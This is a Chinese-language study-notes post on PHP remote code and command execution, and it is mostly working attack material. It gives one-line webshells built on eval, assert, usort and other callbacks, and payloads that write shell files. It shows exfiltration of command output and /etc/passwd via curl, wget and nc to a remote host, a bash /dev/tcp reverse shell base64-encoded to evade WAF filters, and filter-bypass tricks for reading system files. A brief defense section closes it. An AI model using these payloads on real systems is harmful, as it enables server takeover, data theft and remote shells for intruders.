声明:本篇文章仅用于学习笔记记录,不得用于其他违规用途。
RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行。
一般出现这种漏洞,是因为应用系统从设计上需要个用户提供指定的远程命令操作的接口。
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交意想不到的命令,从而让后台进行执行,从而控制整个后台服务器。
一、代码执行
因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
1、危险函数
(1)eval()
eval()函数把字符串安装PHP代码来计算,如常见的一句话后门程序:
<?php eval($_POST['cmd']);?>
(2)assert()
与eval()类似,字符串被assert()当做PHP代码来执行。
//普通调⽤
<?php
assert($_REQUEST['cmd']);
?>
//?cmd=phpinfo()
//assert函数⽀持动态调⽤
<?php
$a = 'assert';
$a($_REQUEST['cmd']);
?>
//?a=phpinfo()
==php官方在php7中更改了assert()函数,在php7.0.29之后的版本不支持动态调用。==
(3)create_function()
create_function()主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
举个例子:
//语法:
string create_function ( $args, $code )
//参数:
$args:它是⼀个字符串类型的函数参数。变量部分
$code:它是字符串类型的函数代码。⽅法代码部分
create_function('$fname','echo $fname."Zhang"')
类似于:
function fT($fname) {
echo $fname."Zhang";
}
<?php
//test.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
# 源代码:
function fT($a) {
echo "test".$a;
}
# 注⼊后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注⼊代码。
}
简单代码
<?php
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
//?cmd=phpinfo();
(4)array_map()
array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,回调函数接收的参数数目应该和传递给array_map()函数的数组数目一致。
语法:
array_map(myfunction,array1,array2,array3...)
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
//?func=system&cmd=whoami
(5)call_user_func()/call_user_func_array()
-call_user_func- 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
-call_user_func_array - 调用回调函数,并把一个数组参数作为回调函数的参数。
<?php
function test($test1, $test2) {
return $test1 . $test2;
}
echo call_user_func('test', 'a','b');//输出结果为ab
echo call_user_func_array('test', ['c', 'd']);//输出结果为cd
?>
代码:
<?php
@call_user_func(assert,$_GET['cmd']);
?>
//?cmd=print "admin";
//?cmd=phpinfo()
<?php
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
//?cmd=phpinfo()
(6)array_filter()
依次将array数组中的每个值传递到callback函数,如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。
array array_filter($array, $callback_function, $flag)
# 参数:
array 必需。规定要过滤的数组。
callback 可选。规定要⽤的回调函数。
flag 可选。决定 callback 接收的参数形式
代码:
<?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
//?func=system&cmd=whoami
(7)usort()
usort()通过用户自定义的比较函数对数组进行排序
usort(array,myfunction);
# 参数
array 必需。规定要排序的数组。第⼀个参数必须是数组
myfunction 可选。⼀个定义了可调⽤⽐较函数的字符串。第⼆个参数是函数名称
通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便,所以用户可以自己定义一个函数,然后使用usort函数来进行回调。
<?php
function my_sort($a,$b){
if ($a==$b){
return 0;
}else{
return ($a<$b)?-1:1;
}
}
$list = array(4,2,8,6);
usort($list,'my_sort');
?>
usort函数执行的时候,会一次把$a中的两个值,传递给名字为my_sort函数中,所以会看到my_sort有两个形参,然后php会判断my_sort函数的返回值。
如果为0,则位置不变,如果为-1,则$a位置和$b不变,如果为1,则$a位置和$b互换。
举例:
变长参数是PHP5.6新引入的特性:
...运算符,就是三个点,该运算符可以将数组或者可遍历的对象展开变为参数,不过必须是索引数组。
代码:
<?php
$list = [1,2,3];
var_dump($list);
echo "========\n";
var_dump(...$list);
?>
返回结果:
array(3) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
int(3)
}
========
int(1)
int(2)
int(3)
编写一句话(PHP环境>=5.6)
<?php usort(...$_GET);?>
那么$_GET变量中的值,应该是
['$a=0','eval($_POST["x"])'],'assert'];
$_GET[0] 是usort的第⼀个参数
$_GET[1] 是usort的回调函数名
也就相当于
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>
最终传参payload:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
POST: x=phpinfo();
大概过程就是,GET变量被展开成两个参数['0', 'eval($_POST['x']'] 和 assert ,传⼊usort函数。usort函数的第⼆个参数是⼀个回调函数 assert ,其调⽤了第⼀个参数中的eval($_POST['x'] 。传参为 phpinfo(); 给webshell即可。
编写一句话(php环境<=5.6)
<?php usort($_GET,'asse'.'rt');?>
test.php?1=1+1&2=eval($_POST[x])
POST: x=phpinfo();
(8)文件操作函数
file_put_contents() 函数把⼀个字符串写⼊⽂件中。
fputs() 函数写⼊⽂件。
# 访问直接写⼊:
<?php
$test='<?php eval($_POST[111]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[111])?>');
?>
# 参数写⼊:
<?php
$code=$_GET["cmd"];
eval($code);
?>
# ⽂件读取:
?cmd=var_dump(file_get_contents("c:\windows\win.ini"));
# 获取绝对路径:
?cmd=print(__FILE__);
# file_put_contents()函数写⼊⼀句话⽊⻢:(需知道绝对路径)
?cmd=file_put_contents('shell.php','<?php eval($_POST["x"]);?
>');
# fputs()函数写⼊⼀句话⽊⻢:
?cmd=fputs(fopen("info.php","w"),"<?php phpinfo();?>");
(9)动态函数
PHP函数直接由字符串拼接。
<?php
$_GET['a']($_GET['b']);
?>
//?a=assert&b=phpinfo()
//?a=system&b=whoami
2、代码执行的攻击方法
代码执行漏洞是一种很严重的漏洞,因为能注入执行脚本代码,所以利用的手段很多,常见的执行命令,获取敏感信息,写入web后门等。
3、代码执行的防御方法
- 使⽤ json 保存数组,当读取时就不需要使⽤ eval 了 ;
- 对于必须使⽤ eval 的地⽅,⼀定严格处理⽤户数据(⽩名单、⿊名单);
- 字符串使⽤单引号包括可控代码,插⼊前使⽤ addslashes 转义(addslashes、魔数引号、 htmlspecialchars、htmlentities、mysql_real_escape_string) ;
二、命令执行
1、相关函数
(1)system(args)有回显
<?php system($_POST["cmd"]);?>
(2)passthru(args)有回显
<?php passthru($_POST["cmd"]);?>
(3)exec(args)回显最后一行
<?php echo exec($_POST["cmd"]);?>
<?php print exec($_POST["cmd"]);?>
(4)shell_exec(args)
<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>
(5)popen()返回的是文件指针而非命令执行结果
<?php
$cmd = $_POST['cmd'].">> 1.txt";
popen("$cmd",'r');
?>
//结果将输出在当前⽬录下的1.txt⽂件内
2、bt禁用函数
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,stream_socket_client,ftp_connect,ftp_login,ftp_pasv,ftp_get,sys_getoadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
3、RCE危害
- 继承 Web 服务器程序的权限,去执⾏系统命令;
- 继承 Web 服务器程序的权限,读写⽂件;
- 反弹 shell ; 控制整个⽹站 ;
- 甚⾄控制整个服务 。
4、RCE代码分析
ipaddress 参数是外部可以控制的, 经过 explode 拆分,再判断类型,再使⽤ shell_exec 函数,调⽤系统命令,所以存在命令执⾏漏洞。
5、RCE攻击
(1)命令链接符
a. ; 分号 linux&powershell
命令按照顺序(从左到右)被执⾏,并且可以⽤分号进⾏分隔。当有⼀条命令执⾏失败时,不会中断其它命令的执⾏。
ping 127.0.0.1;whoami
b. | 管道符号
通过管道符,可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令。
ping 127.0.0.1|whoami
c. & 后台任务符合 linux&cmd
命令按照顺序(从左到右)被执行,跟分号作用一样,此符号作用是后台任务符号使shell在后台执行该任务,这样用户就可以立即得到了一个提示符并继续其他工作。
ping 127.0.0.1&whoami&
d.&& 逻辑与 linux&cmd
前后的命令执行存在逻辑与关系,只有&&前面的命令执行成功之后,它后面的命令才被执行。
ping 127.0.0.1&&whoami
e.|| 逻辑或 linux&cmd
前后命令的执⾏存在逻辑或关系,只有【 || 】前⾯的命令执⾏失败后,它后⾯的命令才被执⾏。
ping -c ||whoami
f. ` 反引号 linux
当一个命令被解析时,它首先会执行反引号之间的操作,例如执行echo ls -a将会首先执行ls并捕获其输出信息,然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为命令替换。
echo `whoami`
(2)有回显
发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。
win 操作系统:
type c:\windows\win.ini
linux 操作系统:
cat /etc/passwd
(3)无回显
有回显的情况下相对较少,一般在实战环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧。
6、RCE外带通信技巧
(1)利用管道符写shell
假设,如果存在漏洞的页面有web服务器,有权限写入,利用shell命令写入webshell后门到网站目录,访问即可获取webshell。
linux:
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d
>shell.php
windows:
powershell.exe
$data='PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg==';
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(
$data)) > shell.php
(2)其他方式写入shell
前提:必须要有写⼊权限
linux执⾏pwd得到绝对路径
win执⾏chdir得到绝对路径
# 直接写
?cmd=echo "<?php phpinfo();?>" > info.php
# 不能写时
?cmd=wget -o /var/www/html/info.php http://www.xx.com/phpinfo.txt
# 不可写时
?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php
(3)DNSlog平台
dnslog 是⼀个显示解析记录的平台,在⽆回显的情况下,通过访问 dnslog,dnslog 会把你访问的⼦域名的头⽂件记录下来。
linux主机下
(4)burpsuite下的burpcollaborator测试无回显
测试的原理和dnslog一样。
(5)利用日志测试无回显
利用HTTP协议,访问WEB中间件时,IIS或者Apache或者小型服务,都存在访问日志,在主机上开启python的小型服务器,再用curl协议访问远程服务器IP的80端口,在回到终端查看记录即可。
python3 -m http.server 80
使⽤ curl 命令:
ping -c 4 || curl http://192.168.1.15/?`whoami`
使⽤ wget 命令:
ping -c 4 ||wget http://192.168.1.15/?`whoami`
必须双方系统上有这两个程序。
(6)Netcat
NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
Nc主要功能:
Nc可以在两台设备上⾯相互交互,即侦听模式/传输模式
- Telnet功能
- 获取banner信息
- 传输⽂本信息
- 传输⽂件/⽬录
- 加密传输⽂件,默认不加密
- 远程控制
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
a.文件传输
远程服务器监听命令(server):
nc -lvnp 9999 >passwd
本地执⾏命令(baji) :
nc 192.168.1.15 9999 </etc/passwd
b.nc反弹shell
执行命令漏洞,一般的利用方式是执行反弹shell,再进行其他的操作。
执行反弹shell的命令有许多,反弹shell是因为从受害者,反向连接远程服务器,请求从内部到外部,所以防火墙是不会进行拦截的。
如果有 waf 进⾏拦截,可以把语句进⾏ base64 加密后,因为加密后的字符串没有触发拦截规则,再利⽤ shell 命令再进⾏解码。
bash -c 'exec bash -i &>/dev/tcp/192.168.1.15/9999 <&1'
base64 编码后:
YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE1Lzk5OTkgPCYxJw=
=
受害机执⾏:
echo
"YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE1Lzk5OTkgPCYxJw
=="|base64 -d|bash
服务器监听:
nc -lvp 9999
7、RCE绕过
(1)黑名单绕过
拼接:
a=ca;b=t;c=test; $a$b $c.txt
base64编码:
`echo "Y2F0IHRlc3QudHh0"|base64 -d`
echo "Y2F0IHRlc3QudHh0"|base64 -d|bash
单引号,双引号:
ca""t test''.txt
反斜线:
c\at test.t\xt
可变扩展绕过:
/???/c?t /???/p?ss??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
⽤通配符绕过:
# notepad
powershell C:\*\*2\n??e*d.*?
# calc
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e
shell特殊变量($1,$2等和$@)
ca$@t test$1.txt
(2)长度限制绕过
通过构造⽂件来绕过
linux下可以⽤:
1 > a //创建⽂件名为a的空⽂件
ls -t>test //则会将⽬录按时间排序后写进test⽂件中
sh //命令可以从⼀个⽂件中读取命令来执⾏
echo "whoami" > 1.txt
sh 1.txt
(3)空格绕过
a.linux平台(bash下)
root@localhost:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
root@localhost▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@localhost▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
root@localhost▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
b.windows平台
ping%CommonProgramFiles:~10,-18%baidu.com
ping%PROGRAMFILES:~10,-5%baidu.com
%COMMONPROGRAMFILES:~23,-5%
%ProgramFiles:~10,-5%
%CommonProgramFiles:~10,-18%
%COMMONPROGRAMFILES:~23,1%
%ProgramFiles:~10,1%
%CommonProgramFiles:~10,1%
%path:~10,1%
%PROCESSOR_IDENTIFIER:~7,1%
(4)引号逃逸
当恶意命令被扩在引号内时,可⽤ \ 转义引号逃逸
(5)不带反斜杠和斜杠的命令执行
linux bash:
echo ${HOME:0:1}
/
cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
echo . | tr '!-0' '"-1'
/
tr '!-0' '"-1' <<< .
/
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
8、RCE修复
不执⾏外部的应⽤程序或命令:
尽量使⽤⾃定义函数或函数库实现外部应⽤程序或命令的功能。在执⾏system、eval 等命令执⾏功能的函 数前,要确认参数内容。使⽤ escapeshellarg 函数处理相关参数:escapeshellarg 函数会将⽤户引起参数或命令结束的字符进⾏转义,如单引号“’”会被转义为“’”, 双引号“"”会被转义为“"”,分号“;”会被转义为“;”,这样escapeshellarg 会将参数内容限制在⼀对单引号或双引号⾥⾯,转义参数中包括的单引号或双引号,使其⽆法对当前执⾏进⾏截断,实现防范命令注⼊攻击的⽬的。
使⽤ safe_mode_exec_dir 执⾏可执⾏的⽂件路径 :
将 php.ini ⽂件中的 safe_mode 设置为 On,然后将允许执⾏的⽂件放⼊⼀个⽬录,并使⽤ safe_mode_exec_dir 指定这个可执⾏的⽂件路径。这样,在需要执⾏相应的外部程序时,程序必须在 safe_mode_exec_dir 指定的⽬录中才会允许执⾏,否则执⾏将失败。